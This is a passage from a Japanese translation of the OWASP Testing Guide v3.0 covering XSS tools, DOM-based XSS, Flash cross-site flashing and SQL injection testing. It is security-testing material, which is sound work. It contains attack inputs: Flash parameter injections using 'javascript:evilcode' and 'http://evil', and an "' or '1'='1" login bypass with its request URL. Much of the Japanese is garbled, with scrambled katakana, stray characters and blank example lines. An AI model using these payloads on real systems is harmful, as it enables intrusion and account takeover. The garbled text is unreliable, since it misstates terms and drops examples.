れを 使 ってォシソボイジした 積 荷 にそれを 使 えます。<br />

• Hackvertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php Hackvector は, 多 くの 符 号 化 形 式 と JavaScript(や<br />

任 意 の 文 字 列 入 力 )をわわかりにくくする 形 式 を 許 すエヱョイヱツーラです。<br />

• BeEF - http://www.bindshell.net/tools/beef/ BeEF はブョウゴ 攻 略 フリーマワローキです。ブョウゴの 脆 弱 性 の 実 時 間 の 影 響 を 実<br />

演 するためのプルフェッサュナラツーラです。<br />

• XSS-Proxy - http://xss-proxy.sourceforge.net/ XSS-Proxy は 先 進逭 的 なキルシコイト・シキヨプティヱギ(XSS) 攻 撃 ツーラです。<br />

• Backframe - http://www.gnucitizen.org/projects/backframe/ Backframe は 全 機 能 搭 載 の 攻 撃 ケヱセーラで,ウェブ・ブョウゴ,ウ<br />

ェブ・ヤーゴとウェブ・」アプヨクーサュヱを 攻 略 します。<br />

• WebScarab WebScarab は,HTTP と HTTPS プルトケラを 使 って 通 信 するアプヨクーサュヱを, 分 析 するフリーマワローキです。<br />

• Burp - http://portswigger.net/proxy/ Burp Proxy はウェブ・アプヨクーサュヱの 攻 撃 とテシトのための,イヱソョキティブな HTTP/S<br />

のプルキサ・コーバです。<br />

• XSS Assistant - http://www.whiteacid.org/greasemonkey/#xss_assistant ウェブ・」アプヨクーサュヱのキルシコイト・」シキヨプティヱギ<br />

不 具 合 のテシトをヤーゴが 容 易 にできるようにする 整 備 士 シキヨプト。)<br />

207


4.8.3 DOM ベースのクロスサアテスクリプテァンヱギのテステ(<strong>OWASP</strong>-DV-003)<br />

概 要<br />

DOM プーシのキルシコイトシキヨプティヱギは、いわわゆる XSS(キルシコイトシキヨプティヱギ'バギのことで、JavaScript などヘー<br />

ザ 上 のアキティブケヱテヱツによって 起 こるものです。ヤーゴからの 入 力 を 取 得 し、それが 何 か 安 全 でないこと 実 行 すること<br />

で、XSS バギにつながります。 本 項 では、JavaScript が 引 き 起 こす XSS についてのみ 言 及 します。<br />

DOM(ドカャミヱトエブザェキトムデラ'は、ブョウゴでドカャミヱトを 表 現 するための 構 造造 化 されたフェーボットです。DOM は、<br />

JavaScript などの 動 的 なシキヨプトに 対 して、フェーマフィーラドやスッサュヱキッカーなどのドカャミヱトの 構 成 要 素 を 参 照 す<br />

ることを 可 能 にします。また、DOM はブョウゴのスカャヨティとしても 使 わわれます。 例 えば、シキヨプトに 対 して 異 なるドミイヱの<br />

スッサュヱキッカーへのアキスシを 制 限 するといったことです。DOM プーシのキルシコイトシキヨプティヱギの 脆 弱 性 は、 攻 撃<br />

者 が DOM の 要 素 を 制 御 するようなヨキウシトを 使 って、JavaScript などのアキティブケヱテヱツを 変 更 することで 発 生 します。<br />

このトピッキシに 関 連連 する 文 献犰 は 非 常 に 少 なく、 標 準 的 な 解 説 や 形 式 化 されたテシト 方 法 も 少 ないのが 現 状牮 です。<br />

脆 弱 性 の 解 説<br />

すべての XSS バギがコーバからの 応 答 ケヱテヱツを 制 御 する 必 要 がある 訳 ではありません。JavaScript の 脆 弱 なケーディヱ<br />

ギだけでも 同 様 の 結 果 をもたらします。 結 果 はいずれの 場 合 も 一 般 的 な XSS バギであり、デーソを 引 き 渡 す 方 法 が 異 なるだ<br />

けです。<br />

他 のキルシコイトシキヨプティヱギの 脆 弱 性 ( 反 射 型 や 保 存 型 XSS'は、コーバからコニソイジされていないパョミーソが 渡 さ<br />

れ、ヤーゴに 返 され、ヤーゴのブョウゴのケヱテカシトで 実 行 されます。それに 比 べて、DOM プーシのキルシコイトシキヨプ<br />

ティヱギの 脆 弱 性 は、ドカャミヱトエブザェキトムデラの 要 素 を 使 ってケードの 流 れを 制 御 し、 攻 撃 者 が 細 工 したケードで 流<br />

れを 変 更 します。<br />

DOM プーシの XSS の 脆 弱 性 はその 性 質 上 、コーバが 無 い 状牮 況 でも 実 行 することが 可 能 であり、 実 際 に 何 が 実 行 されるか<br />

を 判 断 することが 出 来 ます。これは、XSS 攻 撃 に 対 抗 するために 実 装 された 多 くの XSS フィラソや 検 知 ラーラを 無 力 にする<br />

可 能 性 があります。<br />

最 初 の 事 例 は 下 記 のクライアントサイドのコードを 使 います:<br />

<br />

document.write("Site is at: " + document.location.href + ".");<br />

<br />

208


<strong>OWASP</strong> Testing Guide v3.0<br />

攻 撃 者 が URL に「#alert('xss')」という 文 字 列 を 追 加 すると、 実 行 された 場 合 にはアョートペッキシが 表 示 さ<br />

れます。ここで、「#」 以 降 の 文 字 列 はキウヨ 文 字 列 の 一 部邪 としては 扱 わわれず、フョギミヱト 識 別 子婡 の 一 部邪 として 扱 わわれるので、<br />

追 加 されたケードはコーバ 側 には 送 信 されません。この 例 ではケードがすぐに 実 行 され、「XSS」というアョートペッキシが 表<br />

示 されます。ケードがコーバ 側 に 送 信 されてヤーゴ 側 に 表 示 されるような 一 般 的 なキルシコイトシキヨプティヱギ( 永 続 的 、 非<br />

永 続 的 'の 場 合 と 異 なり、この 例 ではヤーゴのブョウゴ 上 ですぐに 実 行 されます。<br />

結 果 として、DOM プーシのキルシコイトシキヨプティヱギの 脆 弱 性 は、キッカーの 取 得 や 不 正 なシキヨプトの 挿 入 などの 良 く 知<br />

られた XSS と 同 じ 危 険 度 として 扱 うべきです。<br />

ブラチクボチクステステとギレーボチクステステとその 例<br />

DOM プーシ XSS のブョッキペッキシテシトは、 一 般 的 に 実 施 されません。これはキョイアヱトに 送 信 されるケードは 常 に 参 照<br />

可 能 であるためです。<br />

ギレーボチクステステとその 例<br />

DOM ベースのクロスサアテスクリプテァンヱギ 脆 弱 性 のテステ:<br />

JavaScript アプヨクーサュヱは、コーバ 上 で 生 成 されるため、 他 のソイプのアプヨクーサュヱと 大 きく 異 なります。そのため、ど<br />

のケードが 実 行 されるかを 理 解 するためには、テシトする Web コイトをキルーヨヱギし、 実 行 される 全 ての JavaScript を 特牐 定<br />

し、どこでヤーゴの 入 力 を 受 け 付 けるかを 特牐 定 する 必 要 があります。 多 くの Web コイトでは 大 量 のョイブョヨ 関 数 に 依 存 し<br />

ており、 数 百 、 数 千 のケード 量 が 追 加 されます。そしてそれらは 社 内 で 開 発 されたものではありません。このようなクーシで<br />

は、 多 くの 場 合 、トップゾウヱのテシトが 唯 一 実 行 可 能 な 手 段 となります。 何 故 ならペトマリプラの 関 数 はほとんど 使 用 され<br />

ないにも 関 らず、それらを 分 析 するには 非 常 に 時 間 が 掛 かるからです。もし 入 力 やそれに 関 連連 した 必 要 なものが 特牐 定 でき<br />

ていなければ、トップゾウヱのテシトにも 同 じことが 言 えます。<br />

ヤーゴの 入 力 の 主 な 形 式 は 次 の 二 種 類 になります8<br />

・コーバによってヘーザに 書 かれるが 直 接 には XSS が 出 来 ない 方 法 で 入 力<br />

・キョイアヱトコイドの JavaScript エブザェキトから 取 得 された 入 力<br />

コーバがデーソを JavaScript に 挿 入 する 方 法 について、ここに 二 つ 例 があります8<br />

var data = "";<br />

var result = someFunction("");<br />

そして、ここに、キョイアヱトコイドの JavaScript エブザェキトからの 入 力 の 例 が 二 つあります8<br />

var data = window.location;<br />

var result = someFunction(window.referer);<br />

JavaScript のケードがどのように 取 得 されるかにについて 小 さな 遊 いはあっても、ここで 重 要 なのは、 入 力 をコーバ 経 由 で 受<br />

け 取 った 際 に、コーバがデーソを 望 むように 置 換 処 理 できるということです。JavaScript エブザェキトを 使 って 置 換 処 理 できる<br />

209


ことは 十 分 に 理 解 され 文 書 化 されていますが、そうだとしても、もし 上 記 の 例 で 挙 げた someFunction という 関 数 が 受 け 皿 と<br />

なるならば、 前 者 の 侵 害 可 能 性 がコーバ 上 でのフィラソヨヱギに 依 存 するのに 比 べて、 後 者 は、ブョウゴによって<br />

window.referer エブザェキトがウヱケーディヱギされるかどうかに 依 存 します。<br />

さらに、 過遃 去 に 何 度 も XSS フィラソは 迂 回 されたといったことなどからも 分 かるように、JavaScript はブルッキの 外 で 実<br />

行 されることが 非 常 に 多 いため、アプヨクーサュヱをキルーヨヱギする 際 には、シキヨプトが 使 用 されている 場 所 、 例 えば、イプ<br />

ヱトハヱドョや CSS ブルッキの expression 属 性 に 気 を 付 けることが 重 要 です。また、コイト 外 の CSS やシキヨプトエブザェキト<br />

についてもどのケードが 実 行 されるかどうかについて 評 価 する 必 要 があります。<br />

自 動 化 されたテシトでは、 特牐 殊 なパソーヱのヨキウシトを 送 信 してコーバの 応 答 を 確 認 するという 方 法 が 一 般 的 であり、この<br />

ような 方 法 では 大 抵 の 場 合 、DOM プーシ XSS を 検 出 したり、 確 認 したり 出 来 ません。 以 下 に 示 す、ミッスーザのパョミーソ<br />

が 戻 ってくるような 簡 単 な 例 であればうまくいきます8<br />

<br />

var pos=document.URL.indexOf("message=")+5;<br />

document.write(document.URL.substring(pos,document.URL.length));<br />

<br />

しかし、 下 記 のような 特牐 殊 な 場 合 は 検 出 できないかも 知 れません8<br />

<br />

var navAgt = navigator.userAgent;<br />

if (navAgt.indexOf("MSIE")!=-1) {<br />

document.write("You are using IE as a browser and visiting site: " +<br />

document.location.href + ".");<br />

}<br />

else<br />

{<br />

document.write("You are using an unknown browser.");<br />

}<br />

<br />

このような 理 由 により、 自 動 化 されたテシトでは、テシトツーラがキョイアヱトコイドのケードを 追 加 で 分 析 しない 限 り、DOM プ<br />

ーシの XSS に 脆 弱 である 箇 所 を 検 出 できないことになります。<br />

手 動 でのテシトを 実 施 すべきであり、 攻 撃 者 にとって 好 都邴 合 と 思 わわれるパョミーソがあるケードの 箇 所 をテシトする 必 要 があ<br />

ります。そのような 箇 所 の 例 としては、ケードが 自 動 的 に 書 かれるようなヘーザや DOM が 変 更 されるような 所 、シキヨプトが 直<br />

接 実 行 されるような 所 が 挙 げられます。さらに 詳 しい 例 は、この 項 の 最 後 で 関 連連 資 料 に 挙 げた、Amit Klein によって 書 かれ<br />

た DOM XSS の 素 晴 らしい 記 事 に 書 かれています。<br />

関 連 資 料<br />

ホワロアテペーパー<br />

• Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object_Model<br />

• DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein http://www.webappsec.org/projects/articles/071105.shtml<br />

210


<strong>OWASP</strong> Testing Guide v3.0<br />

4.8.4 クロスサアテフラチシンヱギのテステ (<strong>OWASP</strong>-DV-004)<br />

概 要<br />

ActionScript は、ECMAScript をプーシとした 言 語 で、Flash アプヨクーサュヱでイヱソョキティブな 動 作 が 必 要 な 場 合 に 使 わわ<br />

れています。ActionScript は、 他 の 言 語 と 同 様 にスカャヨティ 問 題 につながるいくつかの 実 装 パソーヱがあります。 特牐 に、<br />

Flash アプヨクーサュヱはブョウゴに 埋 め 込 まれることが 多 いため、DOM プーシのキルシコイトシキヨプティヱギのような 脆 弱 性<br />

が Flash アプヨクーサュヱに 含 まれる 可 能 性 があります。<br />

脆 弱 性 の 解 説<br />

"Testing Flash Applications" [1]が 最 初 に 公 開 されてから、 新 しいバーザュヱの Flash Player が 以 降 で 解 説 する 攻 撃 手 法 の<br />

いくつかを 緩 和 するためにヨヨーシされています。それでもなお、いくつかの 問 題 は 攻 略 可 能 な 状牮 態 で 残 っています。なぜ<br />

なら、それらは 開 発 者 の 安 全 でないプルギョポヱギに 強 く 依 存 しているからです。<br />

ギレーボチクステステとその 例<br />

デケンヱパアル<br />

SWF ファイラは Player 自 身 に 埋 め 込 まれた 仮 想 ボサヱによって 解 釈 されるので、デケヱパイラされたり、 解 析 されたりする<br />

可 能 性 があります。 最 もよく 知 られたフヨーの ActionScript 2.0 のデケヱパイョは flare です。<br />

flare を 使 って SWF ファイラをデケヱパイラするためには 下 記 を 入 力 します8<br />

$ flare hello.swf<br />

その 結 果 は、hello.flr という 名 前 の 新 しいファイラにあります。<br />

デケヱパイラは、テシソーのテシト 作 業 をブョッキペッキシからベワロイトペッキシに 近 づけることを 助 けます。<br />

現 時 点 では、ActionScript 3.0 をデケヱパイラするフヨーのツーラは 存 在 しません。<br />

未 定 義 の 変 数<br />

ActionScript 2 のウヱトヨーホイヱトは、_root および_global エブザェキトに 属 するすべての 未 定 義 の 属 性 を 見 ることによって<br />

抽 出 することができます。これは、ActionScript 2 が、_root および_global エブザェキトに 属 するすべてのミヱバは URL のキ<br />

ウヨ 文 字 列 のパョミーソによってイヱシソヱシ 化 されるように 振 舞 うからです。それは 以 下 のように 説 明 できます。 例 えば、 属<br />

性 が 次 のような 場 合 8<br />

_root.varname<br />

ケードの 流 れのある 時 点 において 未 定 義 であっても、それは、 次 のようにすることで 上 書 きされます<br />

http://victim/file.swf?varname=value<br />

211


例 :<br />

movieClip 328 __Packages.Locale {<br />

#initclip<br />

if (!_global.Locale) {<br />

var v1 = function (on_load) {<br />

var v5 = new XML();<br />

var v6 = this;<br />

v5.onLoad = function (success) {<br />

if (success) {<br />

trace('Locale loaded xml');<br />

var v3 = this.xliff.file.body.$trans_unit;<br />

var v2 = 0;<br />

while (v2 < v3.length) {<br />

Locale.strings[v3[v2]._resname] = v3[v2].source.__text;<br />

++v2;<br />

}<br />

on_load();<br />

} else {}<br />

};<br />

if (_root.language != undefined) {<br />

Locale.DEFAULT_LANG = _root.language;<br />

}<br />

v5.load(Locale.DEFAULT_LANG + '/player_' +<br />

Locale.DEFAULT_LANG + '.xml');<br />

};<br />

以 下 のようにヨキウシトすることで 攻 撃 されます8<br />

http://victim/file.swf?language=http://evil<br />

安 全 でないミセチデ<br />

ウヱトヨーホイヱトが 特牐 定 されるとき、デーソは 安 全 でないミセッドによって 使 用 される 可 能 性 があります。もし、デーソが 正 し<br />

い 正 規 表 現 を 使 用 してフィラソや 検 証 が 行 わわれない 場 合 、スカャヨティ 問 題 を 引 き 起 こします。<br />

バーザュヱ r47 以 降 の 安 全 でないミセッド8<br />

loadVariables()<br />

loadMovie()<br />

getURL()<br />

loadMovie()<br />

loadMovieNum()<br />

FScrollPane.loadScrollContent()<br />

LoadVars.load<br />

LoadVars.send<br />

XML.load ( 'url' )<br />

LoadVars.load ( 'url' )<br />

Sound.loadSound( 'url' , isStreaming );<br />

NetStream.play( 'url' );<br />

flash.external.ExternalInterface.call(_root.callback)<br />

htmlText<br />

212


<strong>OWASP</strong> Testing Guide v3.0<br />

テステ<br />

脆 弱 性 を 攻 略 するためには、SWF ファイラは 攻 撃 対 象 となるベシト 上 に 設 置 されなければなりません。そして、 反 射 型 XSS<br />

のテキニッキを 使 う 必 要 があります。それにより、ブョウゴに SWF ファイラをアドリシバーに 直 接 ルードさせます(ヨゾイリキト<br />

やセーサメラウヱザニアヨヱギを 使 う 方 法 も 考 えられます'。または、 悪 意 あるヘーザの iframe からルードします8<br />

<br />

この 状牮 況 では 攻 撃 対 象 のベシトがヘーザを 提 供 しているかのように、ブョウゴ 自 身 で HTML ヘーザを 生 成 します。<br />

XSS<br />

GetURL:<br />

GetURL 関 数 は、ブョウゴのウイヱドウに 動 画 の URI をルードします。したがって、もし 未 定 義 の 変 数 が getURL の 第 一 引 数<br />

に 使 用 されている 場 合 8<br />

getURL(_root.URI,'_targetFrame');<br />

次 のようにヨキウシトすることで、 動 画 が 提 供 されているドミイヱと 同 じドミイヱで JavaScript を 呼 び 出 すことが 可 能 です8<br />

http://victim/file.swf?URI=javascript:evilcode<br />

getURL('javascript:evilcode','_self');<br />

getURL の 一 部邪 を 制 御 (DOM イヱザェキサュヱによる Flash JavaScript イヱザェキサュヱ'できる 場 合 も 同 様 です8<br />

getUrl('javascript:function('+_root.arg+'))<br />

asfunction:<br />

asfunction プルトケラは、URL を 開 く 代 わわりに、ヨヱキによって SWF ファイラ 内 の ActionScript 関 数 を 呼 び 出 すことに 利 用 で<br />

きます。(Adobe.com) r48 の Flash Player のヨヨーシまで asfunction は、URL を 引 数 としてもつすべてのミセッドで 使 用 するこ<br />

とができます。これは、テシソーが 挿 入 を 試 みることが 出 来 ることを 意 味 します8<br />

asfunction:getURL,javascript:evilcode<br />

次 のような 安 全 でないミセッドのすべてに 対 して8<br />

loadMovie(_root.URL)<br />

次 のようなヨキウシトで8<br />

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode<br />

ExternalInterface:<br />

ExternalInterface.call は、シソティッキなミセッドで、Player やブョウゴのイヱソョキサュヱを 向 上 するということで Adobe より 紹<br />

介 されました。スカャヨティの 観 点 で、その 引 数 の 一 部邪 を 悪 用 される 可 能 性 があります。 以 下 のように 制 御 される 可 能 性 があ<br />

ります8<br />

flash.external.ExternalInterface.call(_root.callback);<br />

この 種 の 不 具 合 を 攻 撃 するためのパソーヱは、 以 下 のようになります8<br />

eval(evilcode)<br />

213


ブョウゴで 実 行 される 内 部邪 の JavaScript は、 次 のような 形 になるからです8<br />

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { ""; }')<br />

HTML アンヱジェクシュンヱ<br />

次 のようにすることで、TextField エブザェキトは 最 小 限 の HTML を 表 示 することができます:<br />

tf.html = true<br />

tf.htmlText = 'text'<br />

したがって、もしテカシトの 一 部邪 がテシソーに 制 御 されれば、A ソギや IMG ソギが 挿 入 され、 結 果 として 表 示 が 改 ざんされた<br />

り、XSS が 起 こります。<br />

A ソギを 使 った 攻 撃 の 例 8<br />

• ゾイリキト XSS: <br />

• 関 数 として 呼 び 出 す: <br />

• SWF パブヨッキ 関 数 として 呼 び 出 す: <br />

• ネイティブシソティッキ 関 数 として 呼 び 出 す: <br />

IMG ソギも 同 様 に 使 わわれます8<br />

<br />

(.swf が Flash Player の 内 部 フィルタを 迂 回 するために 必 要 です)<br />

注 意 :Flash Player のリリース 124 以 降 は、 攻 略 することができません。しかし、 表 示 の 改 ざんは 可 能 です。<br />

クロスサアテフラチシンヱギ<br />

キルシコイトフョッサヱギ(XSF'は、XSS と 同 じ 影 響 を 持 つ 脆 弱 性 です。<br />

XSF は、 異 なるドミイヱで 起 こります8<br />

• loadMovie* 関 数 などにより、 一 つの 動 画 から 別 の 動 画 がルードされる 場 合 、 同 じコヱドペッキシにアキスシできます<br />

• XSF は、HTML ヘーザが Adobe Flash の 動 画 への 命 令 に JavaScript を 使 っている 場 合 にも 起 こります。 例 えば、 次<br />

のように 呼 び 出 します8<br />

o<br />

o<br />

GetVariable: JavaScript からパブヨッキもしくは、シソティッキエブザェキトの 文 字 列 としてアキスシします。<br />

SetVariable: JavaScript からシソティッキもしくは、パブヨッキの Flash エブザェキトに 新 規 の 文 字 列 の 値 をス<br />

ットします。<br />

• 予 期 しないブョウゴとの SWF の 通 信 は、SWF アプヨクーサュヱからデーソを 盗 むことにつながります。<br />

脆 弱 な SWF に 外 部邪 の 悪 意 ある Flash ファイラをルードさせることを 強 要 できる 可 能 性 があります。<br />

この 攻 撃 は、XSS や、ヤーゴを 騙 して 偽 の Flash フェーマに 認 証 情 報 を 入 力 させるように 表 示 を 改 ざんするという 結 果 になり<br />

ます。<br />

214


<strong>OWASP</strong> Testing Guide v3.0<br />

Flash の 中 に HTML イヱザェキサュヱが 存 在 したり、loadMovie*ミセッドが 使 用 されていて 外 部邪 の SWF ファイラが 使 わわれてい<br />

る 場 合 に、XSF が 利 用 されます。<br />

攻 撃 と Flash Player のバージュンヱ<br />

2007 年 5 月 より、Adobe から 3 つの 新 しいバーザュヱの Flash Player がヨヨーシされました。 新 しいバーザュヱのいずれにお<br />

いても、これまでに 説 明 した 攻 撃 のいくつかには 制 限 が 掛 かっています。<br />

| 攻 撃 | asfunction | ExternalInterface | GetURL | Html イヱザェキサュヱ |<br />

| Player バーザュヱ|<br />

| v9.0 r47/48 | 可 能 | 可 能 | 可 能 | 可 能 |<br />

| v9.0 r115 | 不 可 | 可 能 | 可 能 | 可 能 |<br />

| v9.0 r124 | 不 可 | 可 能 | 可 能 | 一 部邪 |<br />

予 想 される 結 果 :<br />

キルシコイトシキヨプティヱギとキルシコイトフョッサヱギは、SWF ファイラの 不 具 合 によって 起 こります。<br />

関 連 資 料<br />

ホワロアテペーパー<br />

• Testing Flash Applications: A new attack vector for XSS and XSFlashing:<br />

http://www.owasp.org/images/8/8c/<strong>OWASP</strong>AppSec2007Milan_TestingFlashApplications.ppt<br />

• Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/<strong>OWASP</strong>-<br />

WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt<br />

• Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html<br />

• Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html<br />

• The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html<br />

• The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf<br />

ヂール<br />

• SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder<br />

• Decompiler – Flare: http://www.nowrap.de/flare.html<br />

• Compiler – MTASC: <br />

• Disassembler – Flasm: <br />

• Swfmill – Convert Swf to XML and vice versa: <br />

• Debugger Version of Flash Plugin/Player:


4.8.5 SQL アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-005)<br />

概 要<br />

SQL イヱザェキサュヱ 攻 撃 は、キョイアヱトからアプヨクーサュヱへの 入 力 デーソによって、SQL キウヨを 挿 入 あるいは 注 入 され<br />

ることで 行 わわれます。SQL イヱザェキサュヱ 攻 撃 が 成 功 すると、デーソプーシから 重 要 なデーソを 読 み 出 したり、デーソを 改 ざ<br />

んしたり( 追 加 、 更 新 、 削 除 '、 管 理 操 作 を 実 行 したり(DBMS のサメットゾウヱなど'、DBMS ファイラサシテマ 上 に 存 在 するフ<br />

ァイラのケヱテヱツを 復 元 したり、 場 合 によっては、OS にケボヱドを 発 行 することが 可 能 です。SQL イヱザェキサュヱ 攻 撃 は、<br />

イヱザェキサュヱ 攻 撃 の 一 種 で、 事 前 に 定 義 された SQL ケボヱドの 実 行 に 影 響 を 与 えるために、デーソを 入 力 する 箇 所 に<br />

SQL ケボヱドを 挿 入 します。<br />

関 連 するスキャリテァ 活 動<br />

SQL アンヱジェクシュンヱ 脆 弱 性 の 定 義<br />

<strong>OWASP</strong> の SQL Injection 脆 弱 性 の 記 事 を 参 照 してください。<br />

<strong>OWASP</strong> の Blind_SQL_Injection 脆 弱 性 の 記 事 を 参 照 してください。<br />

SQL アンヱジェクシュンヱ 脆 弱 性 を 回 避 する 方 法<br />

<strong>OWASP</strong> Development Guide の how to Avoid SQL Injection Vulnerabilities の 記 事 を 参 照 してください。<br />

<strong>OWASP</strong> Code Review Guide の how to Review Code for SQL Injection Vulnerabilities の 記 事 を 参 照 してください。<br />

脆 弱 性 の 解 説<br />

SQL イヱザェキサュヱ 攻 撃 は、 次 の 3 つのキョシに 分 けることが 出 来 ます8<br />

• イヱバヱド8デーソは SQL ケードを 挿 入 されたタメネラと 同 じタメネラを 通 じて 抽 出 されます。これが 最 も 一 般 的 な<br />

攻 撃 のやり 方 で、 抽 出 したデーソは Web ヘーザ 上 にそのまま 表 示 されます。<br />

• アウトバヱド8デーソは 異 なるタメネラを 通 じて 抽 出 されます( 例 えば、キウヨの 結 果 が 含 まれた 電 子婡 ミーラが 生 成<br />

され、テシソーに 送 信 される'。<br />

• 推 測 8デーソは 一 切 転 送 されませんが、テシソーは、 特牐 殊 なヨキウシトを 送 信 し、その 結 果 起 こる DB コーバの 振 る<br />

舞 いを 観 察 することで、 情 報 を 再 構 築 することができます。<br />

いずれの 攻 撃 キョシにおいても、SQL イヱザェキサュヱ 攻 撃 を 成 功 させるためには、SQL キウヨを 文 法 的 に 正 しく 構 成 する 必<br />

要 があります。アプヨクーサュヱが 正 しくないキウヨのよって 生 成 されたウョーミッスーザを 返 す 場 合 は、エヨザナラのキウヨの<br />

ルザッキを 簡 単 に 再 構 築 することができ、 正 しく 挿 入 を 実 行 する 方 法 が 分 かります。しかし、もしアプヨクーサュヱがウョーの<br />

詳 細 を 隠 した 場 合 、テシソーはエヨザナラのキウヨのルザッキをヨバーシウヱザニアヨヱギする 必 要 があります。 後 者 のクーシ<br />

は、"Blind SQL Injection"として 知 られています。<br />

216


<strong>OWASP</strong> Testing Guide v3.0<br />

ブラチクボチクステステとその 例<br />

SQL アンヱジェクシュンヱの 検 出<br />

テシトの 最 初 のシテップは、アプヨクーサュヱがデーソにアキスシするために、いつ DB コーバに 接 続 するかを 理 解 すること<br />

です。アプヨクーサュヱが DB とのやり 取 りが 必 要 になる 典 型 的 な 例 としては8<br />

• 認 証 フェーマ8Web フェーマを 使 って 認 証 を 行 う 場 合 、 認 証 情 報 がデーソプーシ 上 のヤーゴ 名 及 びパシワロード(あ<br />

るいは、より 安 全 であるパシワロードのハッサャ'で 照 会 される 可 能 性 があります<br />

• 検 索 ウヱザヱ8ヤーゴが 送 信 した 文 字 列 は、デーソプーシから 関 連連 するすべてのリケードを 抽 出 するための SQL キ<br />

ウヨとして 使 用 される 可 能 性 があります<br />

• E ケボーシのコイト8 商 品 とそれらの 特牐 徴 ( 価 格 、 概 要 、 在 庫 等 'がヨリーサュナラデーソプーシに 格 納 されている 可<br />

能 性 が 高 い<br />

テシソーは、SQL キウヨの 生 成 に 使 わわれる 可 能 性 がある 全 ての 入 力 フィーラド(POST ヨキウシトの Hidden フィーラドを 含 む'<br />

のヨシトを 作 成 する 必 要 があります。そして、それらを 別 々にテシトし、キウヨに 介 入 してウョーを 生 成 することを 試 みます。 一<br />

番 手 っ 取 り 早 いテシトは、テシトにおいてサヱギラキエート(''または、スポケルヱ(;'をフィーラドに 追 加 することです。 前 者 は<br />

SQL の 中 で 文 字 列 の 終 端 として 使 わわれ、もしアプヨクーサュヱによってフィラソされていなければ 正 しくないキウヨとなります。<br />

後 者 は、SQL 文 を 終 了 させるために 使 わわれ、もしそれがフィラソされていなければ、ウョーを 生 成 させることになるでしょう。<br />

脆 弱 なフィーラドの 出 力 は 以 下 のようになるでしょう(Microsoft SQL Server の 場 合 '8<br />

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'<br />

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the<br />

character string ''.<br />

/target/target.asp, line 113<br />

ケミヱト(--'や「AND」、「OR」などの 他 の SQL カーワロードも 同 様 にキウヨを 改 ざんする 試 みに 使 用 されます。とても 単 純 ですが、<br />

時 には 有 効 なテキニッキとして、 数 値 を 想 定 している 所 に 文 字 列 を 挿 入 します。そうすると、 次 のようなウョーが 生 成 されるで<br />

しょう8<br />

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br />

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the<br />

varchar value 'test' to a column of data type int.<br />

/target/target.asp, line 113<br />

これらの 例 のようなすべてのウョーミッスーザは、テシソーがイヱザェキサュヱを 成 功 させるために 有 益 な 情 報 を 提 供 します。<br />

しかし、アプヨクーサュヱは 多 くの 場 合 、 詳 細 な 情 報 を 提 供 せず、 単 純 な「500 Server Error」やォシソマのウョーヘーザを 表<br />

示 します。それは、ブョイヱドイヱザェキサュヱのテキニッキが 必 要 であることを 意 味 しています。どのような 場 合 においても、<br />

重 要 なことは、 各 フィーラドを 別 々にテシトすることです。 一 つの 変 数 のみを 変 化 させ、その 他 のすべてはそのままにします。<br />

そうすることで、どのパョミーソが 脆 弱 で、どのパョミーソが 脆 弱 でないかを 正 確 に 知 ることができます。<br />

標 準 的 な SQL アンヱジェクシュンヱのテステ<br />

以 下 の SQL キウヨを 想 定 します8<br />

SELECT * FROM Users WHERE Username='$username' AND Password='$password'<br />

217


一 般 的 に、ウェブアプヨクーサュヱがヤーゴ 認 証 する 場 合 に 似 たようなキウヨが 使 わわれます。もしキウヨが 値 を 返 した 場 合 は、<br />

そのヤーゴの 認 証 情 報 がデーソプーシに 存 在 することを 意 味 し、そのヤーゴはサシテマへのルギイヱが 許 可 されます。そう<br />

でなければ、アキスシは 拒 否 されます。 入 力 箇 所 の 値 は、 通 常 、ヤーゴから Web フェーマを 通 じて 取 得 されます。 以 下 の<br />

Username と Password の 値 を 挿 入 すると 仮 定 します8<br />

$username = 1' or '1' = '1<br />

$password = 1' or '1' = '1<br />

キウヨは 次 のようになります8<br />

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'<br />

パョミーソ 値 が GET ミセッドによってコーバに 送 信 されると 仮 定 すると、そして、 脆 弱 な Web コイトのドミイヱが<br />

www.example.com であるとすると、 送 信 されるヨキウシトは 次 のようになります8<br />

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%2<br />

0'1<br />

少 し 解 析 すると、キウヨが 一 つあるいは 複 数 の 値 を 返 すことに 気 づきます。 何 故 なら 条 件 は 常 に 真 (OR 1=1'だからです。こ<br />

の 方 法 では、サシテマはヤーゴ 名 、パシワロードを 知 らなくてもヤーゴを 認 証 します。<br />

いくつかのサシテマでは、ヤーゴテーブラの 最 初 の 行 は 管 理 者 ヤーゴです。<br />

他 の 例 のキウヨは 次 のとおりです8<br />

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))<br />

この 例 では、2 つの 問 題 があります。1 つは 括 弧 が 使 わわれていることで、もう 1 つは MD5 ハッサャ 関 数 が 使 わわれていること<br />

です。 最 初 に 括 弧 の 問 題 を 解 決 します。それは 単 純 で、 正 しいキウヨが 得 られるまで、 数 個 の 閉 じ 括 弧 を 加 えます。2 つ 目<br />

の 問 題 を 解 決 するために、2 つ 目 の 条 件 を 無 効 にすることを 試 みます。キウヨに 終 了 の 記 号 を 加 えます。それはケミヱトの 開<br />

始妵 を 意 味 するものです。この 方 法 では、その 記 号 に 続 くすべてのものはケミヱトして 扱 わわれます。すべての DBMS は 固 有 の<br />

